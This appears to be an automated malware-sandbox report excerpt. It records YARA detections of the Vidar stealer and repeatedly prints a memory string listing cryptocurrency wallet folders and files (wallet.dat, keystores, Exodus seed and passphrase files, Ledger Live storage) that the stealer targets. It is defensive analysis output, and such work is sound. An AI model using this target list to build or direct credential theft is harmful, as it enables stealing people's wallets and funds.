Source: Yara match	File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7608, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger 